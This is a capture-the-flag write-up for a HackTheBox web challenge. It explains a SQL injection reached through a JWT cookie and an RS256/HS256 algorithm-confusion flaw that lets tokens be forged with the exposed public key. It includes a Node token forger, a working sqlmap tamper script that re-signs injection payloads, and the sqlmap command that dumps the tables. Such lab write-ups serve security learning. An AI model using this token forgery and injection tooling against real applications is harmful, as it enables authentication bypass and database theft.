This is quite simple medium challenges on hackthebox, you just need some basci about Json Web Token. Let’s start

Source Analysis

This challenges come with an source that make it very easy for us to enumerate where to exploit. At the first glance use can see there is a vulnerable inside the DBHelper.js

getUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
                if (err) return rej(err);
                res(data);
            });
        });
    },

It is very clear that is vulnerable with SQLi cause the user input is concated directly to the query without santize, we can exploit exploit this with very simple UNION attack. Now we need to find out where to inject our input. At the routes/index.js, you can see here this funcion is being called

router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});

Notice that it using middleware, so that our req.data.username must go through that middleware first. Looking inside the middleware/AuthMiddelware.js, we can see this get our data through a JWT token store insided the cookie. So when look closer at the file helpers/JWTHelper.js, we can see this block of code

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

This one use asymetric encrypt for the hash o jwt code so if we don’t have the secret key so you can’t modified the jwt token. So now i try to create an account and look how our jwt token looklike
alt text
Notice it exposing to us the public key. After a while of research, I found this (article). The vulnerability lie over here

return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));

If we change the header of the JWT token to {"alg": "HS256","typ": "JWT"} instead of RS256. That mean our publickey is now the secret for the algorithms HS256 and we already know the value of the public key cause is in our jwt token. So now we got the secret key and now we can modify the JWT token. So I crap a simple js code to generate the token to test

const jwt = require('jsonwebtoken');
publicKey = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"

data = {
    username: "is we hacked?"
}
data = Object.assign(data, {pk:publicKey})
token = jwt.sign(data, publicKey, { algorithm: 'HS256' })

console.log("\n\n" + token + "\n\n")

And we got this reponse alt text
So we find the way to exploit. Let’s exploit it

Exploit

Personally, I don’t like to exploit manual, so i try to firgue out the way to use sqlmap. After a while of searching, I found that we can use --tamper in sqlmap to customly encoded the payload. So base one this (article), I wrote some python script to encoded payload with our jwt token

#!/usr/bin/env python3
 
import logging
import json
import hmac
from base64 import b64encode, b64decode
from lib.core.enums import PRIORITY
 
"""
Tamper script that encodes the sqlmap payload in the JWT payload
and re-signs the JWT with the public key.
"""
 
# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL
 
# output using the sqlmap internal logger
log2 = logging.getLogger("sqlmapLog")
 
# hard coded public key taken from the original JWT
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
iat = 1629623711 # remember to change this
 
 
def create_signed_token(key, data):
    """
    Creates a complete JWT token with 'data' as the JWT payload.
    Exclusively uses sha256 HMAC.
    """
    # create base64 header
    header = json.dumps({"typ":"JWT","alg":"HS256"}).encode()
    b64header = b64encode(header).rstrip(b'=')

    # create base64 payload 
    payload = json.dumps(data).encode()
    b64payload = b64encode(payload).rstrip(b'=')
 
    # put the header and payload together
    hdata = b64header + b'.' + b64payload
 
    # create the signature
    verifySig = hmac.new(key, msg=hdata, digestmod='sha256')
    verifySig = b64encode(verifySig.digest())
    verifySig = verifySig.replace(b'/', b'_').replace(b'+', b'-').strip(b'=')
 
    # put the header, payload and signature together
    token = hdata + b'.' + verifySig
    return token
 
 
def craftExploit(payload):
    pk = public_key.encode()
 
    # put the sqlmap payload in the data
    data = {"username": payload, "pk": public_key, "iat": iat}
    log2.info(json.dumps(data, separators=(',',':')))
 
    token = create_signed_token(pk, data)
    return token.decode('utf-8')
 
 
def tamper(payload, **kwargs):
    """
    This is the entry point for the script.  sqlmap calls tamper() for every payload.
    Encodes the sqlmap payload in the JWT payload
    and re-signs the JWT with the public key.
    """
    # create a new payload jwt token re-signed with HS256
    retVal = craftExploit(payload)
 
    #log2.info(json.dumps({"payload": payload}))
 
    # return the tampered payload
    return retVal

Remember to change to change the value of iat to your current epoch time. After that, I place it inside the folder test and touch an empty file /test/__init__.py inside it (based on the document of sqlmap we must do this to run our module). After that, I capture the request on BurpSuite and run sqlmap with it

sqlmap -r ../capture --cookie "session=*" --dbms sqlite3 --level=3 --risk 3 --tamper=test/tamper.py --tables

Let’s explain this a litte bit

  • cookie "session=*": config the cookie take the payload into * position
  • --level 3 --risk 3: Our payload is place inside a cookie so we must increse the level
  • --tamper test/tamper.py: Use my custom tamper script

So after we run will can recieve the tables name

[3 tables]
+-----------------+
| xxxxxxxxxxxx    |
| sqlite_sequence |
| users           |
+-----------------+

Reading the first table, you can see the flag in there.
Thanks for reading. The end